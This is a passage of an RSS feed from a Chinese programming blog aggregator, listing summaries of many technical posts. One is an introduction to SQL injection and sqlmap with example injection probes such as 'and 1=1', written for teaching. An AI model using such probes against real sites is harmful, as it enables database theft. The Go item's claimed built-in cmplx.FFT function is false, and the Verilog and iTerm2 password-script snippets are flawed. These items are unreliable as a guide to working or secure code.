private slots: }; #endif // FORM_H QHBoxLayout 他和QVBoxLayout基本一致，在这我就不讲了</description>
    </item>
    <item>
      <title>实时采集报错：io.debezium.DebeziumException: Unknown command Error code: 1047； SQLSTATE: HY000.</title>
      <link>https://bchobby.github.io/posts/3156a73bd38c425bd80206e7d29366b8/</link>
      <pubDate>Tue, 10 Jan 2023 17:33:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3156a73bd38c425bd80206e7d29366b8/</guid>
      <description>问题背景 使用KafkaConnect对MySQL进行实时采集的过程中出现启动异常的问题，其中集群环境和MySQL服务器均在云服务&#xA;报错详情如下 org.apache.kafka.connect.errors.ConnectException: An exception occurred in the change event producer. This connector will be stopped. at io.debezium.pipeline.ErrorHandler.setProducerThrowable(ErrorHandler.java:42) at io.debezium.connector.mysql.MySqlStreamingChangeEventSource$ReaderThreadLifecycleListener.onCommunicationFailure(MySqlStreamingChangeEventSource.java:1199) at com.github.shyiko.mysql.binlog.BinaryLogClient.listenForEventPackets(BinaryLogClient.java:980) at com.github.shyiko.mysql.binlog.BinaryLogClient.connect(BinaryLogClient.java:599) at com.github.shyiko.mysql.binlog.BinaryLogClient$7.run(BinaryLogClient.java:857) at java.base/java.lang.Thread.run(Thread.java:834) Caused by: io.debezium.DebeziumException: Unknown command Error code: 1047; SQLSTATE: HY000. at io.debezium.connector.mysql.MySqlStreamingChangeEventSource.wrap(MySqlStreamingChangeEventSource.java:1154) ... 5 more Caused by: com.github.shyiko.mysql.binlog.network.ServerException: Unknown command at com.github.shyiko.mysql.binlog.BinaryLogClient.listenForEventPackets(BinaryLogClient.java:944) ... 3 more 问题产生原因 造成此原因是因为云服务器的mysql使用网络代理节点导致的，因为debezium在采集MySQL的binlog时采集节点是无法通过MySQL的网络代理节点解析对应的binlog数据的&#xA;解决方案 修改为节点直连模式而不是通过网络代理</description>
    </item>
    <item>
      <title>后端代码生成工具SDP系列一（简介、源码地址、下载地址）</title>
      <link>https://bchobby.github.io/posts/955d41192b1f62ad8e703334df262ddf/</link>
      <pubDate>Tue, 10 Jan 2023 17:08:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/955d41192b1f62ad8e703334df262ddf/</guid>
      <description>后端代码生成工具SDP系列一（简介、源码地址、下载地址 SDP简介如何下载、编译、启动SDP直接使用打包好的SDP工具关于SDP的前端关于SDP使用的数据库 SDP简介 SDP是一个开源的后端代码生成工具，目前的版本可以生成SpringBoot+Mybatis的绝大部分源代码。因为SDP是基于模板的代码工具，所以未来的版本将可以支持自动生成前端代码。&#xA;与其他代码生成工具不同的是，这个工具不是基于可视化的方式来处理复杂的连接查询配置。而是直接使用select语句，而且是实际的、完整的带具体查询条件的select语句。通过处理，将select语句的查询字段（包括通配符*）以及查询条件自动转化为Mybatis的查询参数和返回字段。&#xA;可以说，只要会写select语句，就可以通过SDP工具实现“零编码”。当然如果有复杂的业务逻辑，还是需要写对应的java代码的，也仅仅是业务代码需要编写，至于定制、扩展的接口等工作，统统交给SDP。&#xA;总之，基于SDP工具进行后端（主要是SpringBoot+Mybatis），可以完全不用人工维护Mybatis的xml文件，也不需要传统编程中必备的复制粘贴大法，只需要专注写复杂的、定制化的java接口实现即可（接口的配置化定义方式也是SDP工具的一个重要功能）。&#xA;如何下载、编译、启动SDP SDP开源代码托管在giteehttps://toscode.gitee.com/brookyu2019/sdp。&#xA;旧版本（已经废弃）托管在github。地址为https://github.com/BrookYuGit/sdp&#xA;下载代码后，使用Idea（社区版即可）打开源代码目录下的server\pom.xml。配置好maven，安装Lombok插件，然后就可以运行cn.mysdp.Application。SDP工具缺省使用的是H2数据库，也支持Mysql数据库。&#xA;编译运行的方法：在idea的maven面板中双击install后，直接运行server\sdp\startup_db_in_home.bat文件就可以直接启动SDP工具了。&#xA;启动工具后，会启动启动浏览器，打开地址http://localhost:9882。&#xA;直接使用打包好的SDP工具 下载地址链接(最新版本是1.8): https://pan.baidu.com/s/1zk16GkhNBHKsfidswk5_Fw?pwd=mfh9&#xA;将zip下载解压后，直接运行startup_db_in_home.bat就可以启动SDP工具。&#xA;关于SDP的前端 SDP工具的前端也是开源的，在源代码目录的web子目录下。有些SDP的功能是通过前端实现的，例如导出、导入、编写模板等。打包好的前端代码被放在后端的resources\static目录下，这样就可以免去了配置nginx的工作，直接启动SDP的SpringBoot工程就可以实现一体化了。&#xA;关于SDP使用的数据库 SDP最初是基于Mysql数据库开发的，还需要配合数据库服务器才能运行。现在已经修改为使用H2数据库，这样就省去了安装、配置数据库的步骤。</description>
    </item>
    <item>
      <title>计算机网络wireshark实验</title>
      <link>https://bchobby.github.io/posts/c8adaae03d6d6391efaddc3ac0fff880/</link>
      <pubDate>Tue, 10 Jan 2023 16:36:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8adaae03d6d6391efaddc3ac0fff880/</guid>
      <description>数据链路层 实作一 熟悉 Ethernet 帧结构 使用 Wireshark 任意进行抓包，熟悉 Ethernet 帧的结构，如：目的 MAC、源 MAC、类型、字段等。&#xA;✎ 问题&#xA;你会发现 Wireshark 展现给我们的帧中没有校验字段，请了解一下原因。&#xA;解答：Wireshark 展现给我们的帧中没有校验字段，帧已经被校验了，校验字段被wireshark去掉了。&#xA;实作二 了解子网内/外通信时的 MAC 地址 ping 你旁边的计算机（同一子网），同时用 Wireshark 抓这些包（可使用 icmp 关键字进行过滤以利于分析），记录一下发出帧的目的 MAC 地址以及返回帧的源 MAC 地址是多少？这个 MAC 地址是谁的？ 发出帧的目的mac地址以及返回帧的源mac地址，都为：78:eb:14:d4:bb:e4 这个地址是要访问计算机的mac物理地址。&#xA;然后 ping qige.io （或者本子网外的主机都可以），同时用 Wireshark 抓这些包（可 icmp 过滤），记录一下发出帧的目的 MAC 地址以及返回帧的源 MAC 地址是多少？这个 MAC 地址是谁的？ 发出帧的目的mac地址以及返回帧的源mac地址，都为：ac:5a:ee:c6:c3:7c 这个mac地址是网关的mac物理地址&#xA;再次 ping www.cqjtu.edu.cn （或者本子网外的主机都可以），同时用 Wireshark 抓这些包（可 icmp 过滤），记录一下发出帧的目的 MAC 地址以及返回帧的源 MAC 地址又是多少？这个 MAC 地址又是谁的？ 发出帧的目的mac地址以及返回帧的源mac地址，都为：ac:5a:ee:c6:c3:7c 这个mac地址是网关的mac物理地址</description>
    </item>
    <item>
      <title>repvgg预训练模型迁移到yolov5-repvgg的pt的backbone中/模型的保存与读取</title>
      <link>https://bchobby.github.io/posts/a39574543bb3e4a1fc888c458d5a1a59/</link>
      <pubDate>Tue, 10 Jan 2023 14:45:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a39574543bb3e4a1fc888c458d5a1a59/</guid>
      <description>前情 我在训练改进的yolov5-repvgg时，发现yolov5s训练50epoch，和我改进的yolov5-repvgg模型，以yolov5s预训练模型为预训练，俩对比都训50，发现没有yolov5s训50epoch，也可能我的待测物体比较特殊。&#xA;但是就是认为是yolov5-repvgg不应该以yolov5s.pt为预训练模型，确实俩都不用yolov5s.pt为预训练模型后，yolov5-repvgg的效果更好。&#xA;我的原模型是yolov5s-repvgg模型，不带预训练模型，训练了50epoch，（我的yolov5-repvgg模型是这个帖子的改进方法yolov5 引入RepVGG模型结构）&#xA;然后把官方的repvgg预训练模型的参数（代码：DingXiaoH/RepVGG&#xA;，权重：官方权重链接下的repvgg-A1-train.pth），移植到上面所述模型的backbone中。&#xA;我的权重移植代码： #!/usr/bin/python3 # -*- coding: utf-8 -*- &#34;&#34;&#34; @File : trained_model @Author: Wendy @Time : 2023/1/9 14:47 @Desc : yolov5-repvgg移植repvgg的backbone &#34;&#34;&#34; import torch from models.yolo import Model import sys sys.path.append(&#34;../RepVGG-main&#34;) from repvgg import repvgg_model_convert, create_RepVGG_A1 path = r&#39;E:\competition\Wadhwani_AI_Bollworm_Counting_Challenge\pretrained_model_vgg/&#39; # yolov5-repvgg model = Model(r&#34;D:\98project\yolov5-7.0\models\yolov5s-haihang-repvgg.yaml&#34;, 3, 12, None).to(&#34;cpu&#34;) model.load_state_dict(torch.load(path + &#39;last.pt&#39;), strict=False) # for k, v in model.state_dict().items(): # print(f&#34;{k}: {v.shape}&#34;) print(&#34;yolov5s-repvgg原权重：&#34;) log1 = open(path + &#34;</description>
    </item>
    <item>
      <title>渗透测试 ( 6 ) --- SQL 注入神器 sqlmap</title>
      <link>https://bchobby.github.io/posts/739ef993a9d078f25dac674e6f1d40b6/</link>
      <pubDate>Tue, 10 Jan 2023 02:17:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/739ef993a9d078f25dac674e6f1d40b6/</guid>
      <description>sqlmap 官网：http://sqlmap.org/&#xA;sqlmap文档地址：https://github.com/sqlmapproject/sqlmap/wiki/Usage&#xA;sqlmap 使用 思维导图：http://download.csdn.net/detail/freeking101/9887831&#xA;黑帽与白帽都喜爱的十大SQL注入工具：http://www.aqniu.com/industry/1449.html&#xA;国内外 SQL 神器 ：http://blog.csdn.net/heimian/article/details/7080822&#xA;SQL注入攻击与防御：https://www.jianshu.com/p/ba35a7e1c67d&#xA;1、sqlmap 简介 SQL 注入 SQL注入 ( SQL Injection ) 就是通过把 SQL 命令插入到 Web表单提交 或 输入域名 或 页面URL请求查询的字符串，最终达到欺骗服务器执行恶意的 SQL命令，如果管理员没有对 id 参数进行过滤那么黑客可以通过数据传输点将恶意的SQL语句带入查询。&#xA;其实就是：改变原来的 sql 语句，导致 sql 执行结果发生改变。&#xA;具体来说，它是利用现有应用程序，将（恶意的）SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的，这类表单特别容易受到SQL注入式攻击．(来源于百度)&#xA;也就是说网站页面包含与数据库交互的部分（例如新闻网站的查找功能），而当在网站输入数据信息，数据信息被程序化后传入数据库执行的过程中，网站的开发人员没有对这些传入数据库的相应数据做安全处理（比如过滤特殊字符、编码等），导致黑客可以将恶意代码（也就是包含非法SQL语句的SQL命令）通过网站前段传入数据库，并在数据库中执行这些具有黑客目的的SQL语句，从而造成数据库信息泄露、损坏等后果。&#xA;SQL注入的一般分类，按照注入点类型来分类&#xA;（1）数字型注入点。许多网页链接有类似的结构 http://www.example.com/12.php?id=1 基于此种形式的注入，一般被叫做数字型注入点，缘由是其注入点 id 类型为数字，在大多数的网页中，诸如 查看用户个人信息，查看文章等，大都会使用这种形式的结构传递id等信息，交给后端，查询出数据库中对应的信息，返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入，我们可以构造出类似与如下的sql注入语句进行爆破：select * from 表名 where id=1 and 1=1（2）字符型注入点。网页链接有类似的结构 http://xwww.example.com/users.php?user=admin 这种形式，其注入点 user 类型为字符类型，所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where user=&#39;admin&#39; 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号，可以是单引号或者是双引号。若存在注入，我们可以构造出类似与如下的sql注入语句进行爆破：select * from 表名 where user=&#39;admin&#39; and 1=1 &#39; 我们需要将这些烦人的引号给处理掉。（3）搜索型注入点。这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数，一般在链接地址中有 &#34;</description>
    </item>
    <item>
      <title>python的数据结构有哪些</title>
      <link>https://bchobby.github.io/posts/1c718b3fb54fae57ccb502872b49a47c/</link>
      <pubDate>Mon, 09 Jan 2023 23:44:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c718b3fb54fae57ccb502872b49a47c/</guid>
      <description>Python 的数据结构有以下几种:&#xA;列表 (list): 列表是一个有序的集合, 可以随时添加和删除元素。&#xA;元组 (tuple): 元组是一个不可变的有序列表, 一旦初始化就不能修改。&#xA;字典 (dictionary): 字典是一个无序的键值对集合, 其中的键是唯一的, 值可以是任意类型。&#xA;集合 (set): 集合是一个无序的不重复元素序列。&#xA;字符串 (string): 字符串是一个有序的字符序列。</description>
    </item>
    <item>
      <title>全加器的设计</title>
      <link>https://bchobby.github.io/posts/2886cfe67c6c57c56d00ecf36cc9bf2a/</link>
      <pubDate>Mon, 09 Jan 2023 19:13:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2886cfe67c6c57c56d00ecf36cc9bf2a/</guid>
      <description>1. 半加器的设计 1）半加器1，布尔函数描述法 module h_adder(a,b,so,co) input a,b; output so,co; assign so = a ^ b; assign co = a &amp;amp; b; endmodule 2）半加器2，基于case语句的类真值描述法 module h_adder(a,b,so,co) input a,b; output so,co; reg so,co; always @(a,b,co,so) begin case ({a,b}) 0: begin so = 0;co = 1’b0 ;end 1： begin so = 1;co = 1’b0 ;end 2： begin so = 1;co = 1’b0 ;end 3： begin so = 0;co = 1’b1 ;end endcase end endmodule 3）半加器3，直接用算符完成描述 module h_adder(a,b,so,co)</description>
    </item>
    <item>
      <title>后端返回二进制字符串转为图片</title>
      <link>https://bchobby.github.io/posts/440d06356c4eee60116bf0d414801686/</link>
      <pubDate>Mon, 09 Jan 2023 18:14:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/440d06356c4eee60116bf0d414801686/</guid>
      <description>后端返回数据&#xA;方法：&#xA;其实方法很简单，流程整理一下，就是window自带了一个转换的方法叫window.URL.createObjectURL()&#xA;，但是光用这个还不行，还要把你的请求加上responseType:&#34;blob&#34;这个是设置请求返回类型的&#xA;html&#xA;&amp;lt;img :src=&#34;avatar&#34; alt=&#34;&#34; style=&#34;width:30px;border-radius: 30px;&#34;&amp;gt;&#xA;data&#xA;avatar:null,&#xA;js&#xA;getTou({&#xA;&#39;id&#39;: 1000000,&#xA;&#39;filename&#39;: &#39;avatar.jpg&#39;,&#xA;}).then((res) =&amp;gt; {&#xA;console.log(res)&#xA;let blob = new Blob([res.data],{type: &#39;image/jpeg&#39;});&#xA;self.avatar = window.URL.createObjectURL(blob);&#xA;console.log(self.avatar,blob)&#xA;})&#xA;注意事项：&#xA;// 获取头像&#xA;export function getTou(data={}){&#xA;return service.request({&#xA;method: &#39;get&#39;,&#xA;url: `/getfile`,&#xA;responseType:&#34;blob&#34;//一定要加&#xA;}) }</description>
    </item>
    <item>
      <title>go 实现FFT算法</title>
      <link>https://bchobby.github.io/posts/5f194172bbda7bd380a412d9dee1fa8a/</link>
      <pubDate>Mon, 09 Jan 2023 17:11:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f194172bbda7bd380a412d9dee1fa8a/</guid>
      <description>FFT(快速傅里叶变换)是一种将时域信号转换为频域信号的算法。在 Go 语言中，可以使用内置的复数类型和内置的 FFT 函数来实现 FFT 算法。&#xA;要使用 FFT 算法，首先需要导入 &#34;math/cmplx&#34; 包，然后可以使用 cmplx.FFT 函数来实现 FFT 转换。&#xA;示例代码如下：&#xA;package main import ( &#34;fmt&#34; &#34;math/cmplx&#34; ) func main() { // 定义待转换的信号 signal := []complex128{1, 1, 1, 1, 0, 0, 0, 0} // 调用 FFT 函数进行转换 result := cmplx.FFT(signal) // 输出转换后的信号 fmt.Println(result) } 上面的代码定义了一个信号，然后使用 cmplx.FFT 函数将该信号转换为频域信号。转换后的信号可以通过输出语句输出。</description>
    </item>
    <item>
      <title>C&#43;&#43;windows.h库GUI教程（基础教程）</title>
      <link>https://bchobby.github.io/posts/77be06630dbeb78d3b7aabcfab88b12d/</link>
      <pubDate>Mon, 09 Jan 2023 16:58:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77be06630dbeb78d3b7aabcfab88b12d/</guid>
      <description>C++&amp;lt;windows.h&amp;gt;库教程 相信大家做C++的时候必定要用到GUI编程的，windows.h就是一个很好的GUI编程库，windows.h是只有windows有的库，象Mac,Unit的可以先退出了。&#xA;1.用&amp;lt;windows.h&amp;gt;编程 #include&amp;lt;iostream&amp;gt; //标准头文件在这里插入代码片 #include&amp;lt;windows.h&amp;gt; //添加windows.h头文件 using namespace std;//标准名空间 int main()//开始 { MessageBox(NULL,&#34;这是一个最简单的消息框！&#34;,&#34;我是标题&#34;,NULL); return 0; } 是不是很开心，弹出了一个框框.&#xA;2.更多形式 MessageBox(&#34;这是一个可以选择确认和取消的框！&#34;,&#34;标题&#34;, MB_OKCANCEL ); MessageBox(&#34;这是一个两种属性的框！&#34;,&#34;标题&#34;,MB_ICONEXCLAMATION|MB_OKCANCEL ); MessageBox(&#34;这是一个警告的框！&#34;,&#34;标题&#34;, MB_ICONEXCLAMATION ); 3.一个用添加了用GUI的游戏——猜数字 猜数字游戏：电脑随机取0~100的数，让玩家去猜这些数，电脑会提示：猜对了，猜大了，猜小了&#xA;代码：&#xA;#define random(x) rand()%(x) #include &amp;lt;cstdlib&amp;gt; #include &amp;lt;ctime&amp;gt; #include&amp;lt;iostream&amp;gt; #include&amp;lt;windows.h&amp;gt; using namespace std; int main(){ int a,c; srand((int)time(0)); a = random(99999); system(&#34;title 猜数字&#34;); cout&amp;lt;&amp;lt;&#34;猜数字游戏&#34;&amp;lt;&amp;lt;endl; for (int b;a!=b;c+=1) { cout&amp;lt;&amp;lt;&#34;请猜一个数&#34;&amp;lt;&amp;lt;endl; cin&amp;gt;&amp;gt;b; if (b &amp;gt; a) { MessageBox(NULL,&#34;猜大了&#34;,&#34;猜数字&#34;,0); } else if (b &amp;lt; a) { MessageBox(NULL,&#34;</description>
    </item>
    <item>
      <title>【无标题】海思SD3403平台，报错ss_mpi_vb_set_conf failed 0xa0018022</title>
      <link>https://bchobby.github.io/posts/06b3117fc0278d0e25acd0c68ec78b06/</link>
      <pubDate>Mon, 09 Jan 2023 16:33:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06b3117fc0278d0e25acd0c68ec78b06/</guid>
      <description>背景 使用海思SD3403平台进行编解码，意外崩溃，重新启动编解码程序，出现ss_mpi_vb_set_conf failed! 0xa0018022错误。此时已经调用了视频缓冲池去初始化接口，&#xA;ss_mpi_sys_exit();&#xA;ss_mpi_vb_exit_mod_common_pool(OT_VB_UID_VDEC);&#xA;ss_mpi_vb_exit();&#xA;此时依然报错，错误码0xa0018022，意思是&#xA;分析 使用/dev/logmpp可以看到，有pool没有被去初始化成功，如下图：&#xA;但是已经调用了去初始化的接口，还没去初始化成功。意外崩溃的时间点编解码器依然在工作，并没有停止，此时VB的资源肯定是被占用的，说明不能强制释放已经占用的VB资源，如何强制销毁已经占用的VB资源。这一点手册有说明，&#xA;查看我的板子加载xxx_base.ko,确实没有加g_vb_force_exit=1参数。加上之后，没有报错。意外崩溃后可以重新启动。</description>
    </item>
    <item>
      <title>webdriver_helper安装失败 &amp; ImportError</title>
      <link>https://bchobby.github.io/posts/9d439c877805b7a1a36cc57414ef978a/</link>
      <pubDate>Mon, 09 Jan 2023 13:23:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d439c877805b7a1a36cc57414ef978a/</guid>
      <description>安装报错： ERROR: No matching distribution found for webdriver-helper&#xA;问题：python版本太低&#xA;ImportError: cannot import name &#39;get_webdriver&#39; from &#39;webdriver_helper&#39; (unknown location)&#xA;问题：使用pip install webdriver-helper安装的是最新版本，但是要收费（收费版本包含远程driver和对appium的支持），免费版本的安装方法如下：pip install webdriver_helper==1.0.1</description>
    </item>
    <item>
      <title>iTerm2连接ssh配置</title>
      <link>https://bchobby.github.io/posts/4dd9d2dc120761694eeb1133d6764666/</link>
      <pubDate>Mon, 09 Jan 2023 11:01:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4dd9d2dc120761694eeb1133d6764666/</guid>
      <description>iTerm2连接ssh配置 #首先在/Users目录下按照如下命令创建sh脚本 cd /Users/ #创建iterm文件夹 mkdir iterm #进入iterm文件夹 cd iterm #创建myserver.sh文件 touch myserver.sh #编辑myserver.sh文件 vi myserver.sh 如果出现没有权限，就命令前面加上sudo&#xA;键盘输入i编辑文件，插入以下内容：&#xA;#!/usr/bin/expect set timeout 30 spawn ssh -p [lindex $argv 0] [lindex $argv 1]@[lindex $argv 2] expect { &#34;(yes/no)?&#34; {send &#34;yes\n&#34;;exp_continue} &#34;password:&#34; {send &#34;[lindex $argv 3]\n&#34;} } interact myserver.sh文件中变量解释：&#xA;[lindex $argv 0]：端口号 [lindex $argv 1]：服务器用户名 [lindex $argv 2]：服务器IP地址 [lindex $argv 3]：服务器密码 插入完成后键盘esc 然后输入:wq退出，接下来给文件赋权&#xA;chmod 777 myserver.sh 打开iTerm2，打开Preferences配置界面，Profiles -&amp;gt; general，左下角点击+号，新建profile，参考下面图片在对应位置输入内容即可&#xA;Name:根据需求输入，通常选择标识性较强的内容便于区分，例如服务器的IP地址&#xA;Command：这里选择login Shell</description>
    </item>
    <item>
      <title>【hive bug】between...and..的粗心bug</title>
      <link>https://bchobby.github.io/posts/87f29eba7c60b0d33cb1e0e29b9d1c4b/</link>
      <pubDate>Mon, 09 Jan 2023 10:55:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87f29eba7c60b0d33cb1e0e29b9d1c4b/</guid>
      <description>文章目录 一、BETWEEN (大于等于) AND (小于等于)查询 一、BETWEEN (大于等于) AND (小于等于)查询 查询包含在此区间内的所有整数 例如：我们想查询什么日期 ，“date&amp;gt;=20220103 and date&amp;lt;=20230103” 可用“date between 20220103 and 20230103”&#xA;！！！注意点，时间顺序不可以调换，between后面是 “大于等于” 的含义，and后面是 “小于等于” 的含义 “date between 20230103 and 20220103 ” 等价于 “date&amp;gt;=20230103 and date&amp;lt;=20220103” ，这样子存在逻辑错误，导致业务出错，实际上有数据的，但却取空数据。</description>
    </item>
    <item>
      <title>outputStream转换InputStream</title>
      <link>https://bchobby.github.io/posts/f5c7c25f54a576133b1a187d7baa0a07/</link>
      <pubDate>Mon, 09 Jan 2023 10:39:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5c7c25f54a576133b1a187d7baa0a07/</guid>
      <description> 有这个需求，一般是在后台将文件保存，而且将文件上传至服务器，才需要将流进行转化。用到ByteArrayInputStream这个类。&#xA;我实际需求是导出一个word，并且将这个word上传至服务器，每次导出word,服务器留有word记录。&#xA;ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); //设置response返回给前端的响应内容 response.setHeader(&#34;Content-Disposition&#34;, &#34;attachment;filename=&#34;.concat(new String(wordFil eName.getBytes(&#34;gbk&#34;), &#34;iso-8859-1&#34;))); response.setHeader(&#34;Connection&#34;, &#34;close&#34;); response.setContentType(&#34;text/html; charset=GBK&#34;); response.setContentType(&#34;application/msword&#34;); //导出word方法 geneWordFile(dataModel, byteArrayOutputStream); //此时有了byteArrayOutputStream输出流数据，将数据返回给response的输出流。 byteArrayOutputStream.writeTo(response.getOutputStream()); byte[] buffer = byteArrayOutputStream.toByteArray(); InputStream is = new ByteArrayInputStream(buffer); </description>
    </item>
    <item>
      <title>Maven配置报错The JAVA_HOME environment variable is not defined correctly</title>
      <link>https://bchobby.github.io/posts/35623c8ba57397d8870df7a8557f7d2c/</link>
      <pubDate>Mon, 09 Jan 2023 09:09:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35623c8ba57397d8870df7a8557f7d2c/</guid>
      <description>配置maven环境变量时，将变量名定义为：MAVEN_HOME,变量值为主目录地址&#xA;并且系统变量Path定义为%MAVEN_HOME%\bin时出错&#xA;错误信息：&#xA;The JAVA_HOME environment variable is not defined correctly&#xA;This environment variable is needed to run this propram&#xA;JAVA_HOME should point to a JDK not a JRE&#xA;那肯定是JAVA_HOME配置的不对，于是查看了一下&#xA;没发现有什么问题，于是找度娘&#xA;JAVA_HOME后面不能带\bin路径&#xA;JAVA_HOME后面不能带空格，不能带;&#xA;不要在path中添加其他字符，例如：. ; ........等&#xA;删除JAVA_HOME和Path保存后重新添加&#xA;以上方法都不能解决我的问题，大哭，继续检查&#xA;最后发现我那错误是因为更新过jdk，而我的用户变量JAVA_HOME是以前的8.0版本，和我的系统变量JAVA_HOME路径不一样，所以就报了这个错误，把两个路径统一后就解决了&#xA;再次mvn -version</description>
    </item>
    <item>
      <title>【STM32】基于HAL库的中断详细学习</title>
      <link>https://bchobby.github.io/posts/f73e48925d007a0989ef21fe97183b0d/</link>
      <pubDate>Mon, 09 Jan 2023 02:02:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f73e48925d007a0989ef21fe97183b0d/</guid>
      <description>目录 1.中断概述&#xA;1.1中断相关概念&#xA;1.2 STM32中断系统&#xA;2 .HAL库的中断处理&#xA;2.1 HAL 库的中断封装&#xA;2.2 外部中断处理流程&#xA;3.外部中断的HAL库定义&#xA;3.1. 外部中断的数据类型&#xA;3.2. 外部中断的接口函数&#xA;1.中断概述 在计算机系统中，处理器常常需要与外部设备进行数据传输。常见的数据传输方式有以下四种：&#xA;1. 无条件方式&#xA;处理器不必了解外部设备的状态，直接进行数据传输，适用于指示灯和按键等简单设备。&#xA;2. 查询方式&#xA;常用于处理器与慢速外部设备之间的数据传输。处理器与外部设备进行传输数据之前，先检查外部设备的状态。如果外部设备处于“准备好”状态（输入设备）或“空闲”状态（输出设备）时，才进行数据传输。否则将循环查询外部设备的状态，直到外部设备就绪。在查询过程中，处理器无法执行其他任务，利用率较低。&#xA;3. 中断方式&#xA;处理器不主动查询外部设备的状态，而是让外部设备在数据准备好之后，再通知处理器。这样，处理器在没接到外部设备通知前只管做自己的事情，只有接到通知时才执行外部设备的数据传输工作。在中断方式中，处理器和外部设备均可并行工作，从而提高了处理器的利用率。&#xA;4. 直接存储器访问方式（DMA）&#xA;DMA方式是在处理器内部建立片内外设和内存之间的数据传输通道，传输过程不需要处理器参与。DMA方式由硬件实现，特别适合于批量数据传输的场合。&#xA;1.1中断相关概念 1.中断的定义&#xA;为了更好地描述中断，我们以一个日常生活中的例子来说明。假设，你在家里阅读时，突然接到快递员的电话，通知你领取快递。这时，你需要记录当前阅读的页码，然后暂停阅读工作，转而去领取快递。快递领取之后，你再返回家里，根据记录的页码继续阅读。&#xA;类似的，在处理器执行程序的过程中，被处理器内部或外部事件所打断，暂停当前程序的执行，转而去执行该事件对应的处理程序，这个处理过程称为中断。&#xA;在中断过程中，引发中断的事件称为中断源；当前正在执行的程序称为主程序；主程序被暂停的位置称为断点；事件所对应的处理程序称为中断服务程序（interrupt service routine，ISR）。中断过程的示意图如图所示。&#xA;2.中断的作用&#xA;最初，中断技术引入到计算机系统，主要是为了解决快速处理器与慢速外部设备之间的数据传输问题。例如，打印数据时，处理器传输数据的速度较快，而打印机打印数据的速度较慢。如果不采用中断技术，处理器将经常处于等待状态，利用率较低。采用中断技术后，处理器向打印机传输数据后，就可以去处理其他的事务。当打印机打印完当前的数据后，再发出中断请求，处理器才予以响应。此时，处理器将暂停执行当前程序，转而执行向打印机传输下一批数据的程序，传输完成后又返回原来的程序执行。由于在打印机打印数据的过程中，处理器可以并行处理其他的事务，从而提高了处理器的工作效率。&#xA;随着计算机技术的应用，人们发现中断技术不仅解决了处理器和外部设备的数据传输问题，还具备以下优点：&#xA;1.分时操作&#xA;处理器可以分时为多个外部设备服务，提高了计算机的利用率。&#xA;2.实时响应&#xA;处理器能够及时处理系统的随机事件，提高了系统的实时性。&#xA;3.可靠性高&#xA;处理器具有处理设备故障及掉电等突发事件的能力，提高了系统的可靠性。&#xA;3.中断优先级和中断嵌套&#xA;在实际应用中，处理器需要处理多个来自不同中断源的中断申请，不同中断源的中断申请在紧迫度上可能不尽相同，因此处理器需要在系统中设置中断源的优先等级，也就是中断优先级。&#xA;在某一时刻，有多个中断源同时发出中断申请时，处理器只处理其中优先级最高的中断源。当处理器正在运行某一个中断源对应的中断服务程序时，出现了另一个中断源的中断申请。如果后者的优先级低于前者，处理器将不予理睬。反之，处理器将立刻响应后者，这种方式称为中断的嵌套。&#xA;4.中断服务程序和中断向量表&#xA;在介绍中断的概念时，我们将中断发生时所执行的特定程序称为中断服务程序，英文缩写ISR。中断服务程序一般由用户编写，主要内容是该中断发生时需要执行的具体任务。以定时中断实现指示灯的闪烁为例，在发生定时中断时，需要切换指示灯的状态。那么定时中断所对应的中断服务程序的主要内容就是切换指示灯的状态。&#xA;在计算机系统中，当某一个中断源提出中断申请后，处理器要如何准确地找到这个中断源所对应的中断服务程序呢？首先，为了区分各个中断源，计算机系统为每一个中断源分配了一个编号，这个编号称为中断类型号。接着，对于系统需要响应的每一个中断源，都预先编写好对应的中断服务程序。最后，按照中断类型号，从小到大将所有中断服务程序的入口地址（函数名）依次排列，组合为一张表格的形式，这个表格就称为中断向量表，而中断服务程序的入口地址称为中断向量。&#xA;中断向量表通常位于存储器的零地址处。当某一个中断源发出中断申请时，处理器根据识别到的中断类型号查找中断向量表，找到对应的表项。表项的内容就是该中断所对应的中断服务程序的入口地址，然后跳转到该地址执行具体的中断处理任务。&#xA;从理解的角度上看，我们可以把中断向量表看作一个数组：每一个数组元素的内容就是中断服务程序的入口地址，数组元素的下标相当于每一个中断的中断类型号。&#xA;5.中断响应过程&#xA;了解了中断的相关概念后，我们可以总结出中断响应的完整步骤：&#xA;① 中断源发出中断请求。&#xA;② 判断处理器是否允许中断，以及该中断源是否被屏蔽。&#xA;③ 多个中断同时申请时，需要进行优先级排队。&#xA;④ 处理器暂停当前程序，保护断点地址和处理器的当前状态，根据中断类型号，查找中断向量表，转到对应的中断服务程序。&#xA;⑤ 执行具体的中断处理任务。&#xA;⑥ 恢复被保护的处理器状态，执行中断返回指令，回到被暂停程序的断点地址处。</description>
    </item>
    <item>
      <title>【学习记录】STM32中断进阶任务：按键控制指示灯闪烁频率</title>
      <link>https://bchobby.github.io/posts/537672dc0ef029d49c4a97857bc26130/</link>
      <pubDate>Mon, 09 Jan 2023 01:57:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/537672dc0ef029d49c4a97857bc26130/</guid>
